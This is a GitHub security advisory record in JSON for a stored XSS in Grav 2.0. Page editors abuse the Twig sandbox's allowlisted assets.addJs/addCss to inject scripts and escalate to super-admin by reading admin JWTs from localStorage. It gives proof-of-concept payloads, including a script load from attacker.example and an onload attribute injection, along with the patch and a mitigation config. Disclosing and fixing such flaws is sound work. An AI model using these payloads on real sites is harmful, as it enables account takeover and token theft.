{"id":"GHSA-8hgv-xc77-jmcr","summary":"Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin","details":"## Summary\n\nGrav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\\Common\\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `\u003cscript src\u003e` / `\u003clink href\u003e` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute.\n\nThe save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.\n\nThis is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method.\n\n## Affected versions\n\nAll Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\\Common\\Assets`. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19.\n\nGrav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`.\n\n## Details\n\n**Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page's `process.twig` to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs.\n\n**The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping:\n\n```php\nreturn '\u003cscript src=\"' . trim($this-\u003easset) . $this-\u003erenderQueryString() . '\"' . $this-\u003erenderAttributes() . ...\n```\n\nFor any remote asset, `BaseAsset::init()` stores the caller's string verbatim. Two working variants follow:\n\n1. External script inclusion — `{{ assets.addJs('https://attacker.example/poc.js') }}`\n2. Attribute injection with **no attacker-controlled host** — `{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.\n\n**Timing.** `Twig::processSite()` resolves `$page-\u003econtent()` before rendering the theme template, so the registration lands before the head is emitted.\n\n`javascript:` and `data:` URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.\n\n## Impact\n\nPersistent script execution on the site's own origin for every visitor of the affected page — **including administrators**, which makes this a page-editor-to-super-admin escalation:\n\n- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox=\"allow-same-origin allow-scripts allow-forms\"`, so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.\n- Admin-Next persists the administrator's API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.\n- An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.\n\n## Patches\n\nFixed in Grav 2.0.20:\n\n- `addcss`/`addjs` removed from the `Grav\\Common\\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults.\n- Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.\n\nOperators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`:\n\n```yaml\ntwig_sandbox:\n  denied_methods:\n    - class: Grav\\Common\\Assets\n      methods: 'addcss, addjs'\n```\n\n## Credits\n\nReported by Ahmed Ibrahim (@skeletonsec).","aliases":["CVE-2026-86197"],"modified":"2026-09-10T03:51:13.487344601Z","published":"2026-08-21T19:14:59Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-21T19:14:59Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://github.com/getgrav/grav/releases/tag/2.0.20"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.20"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 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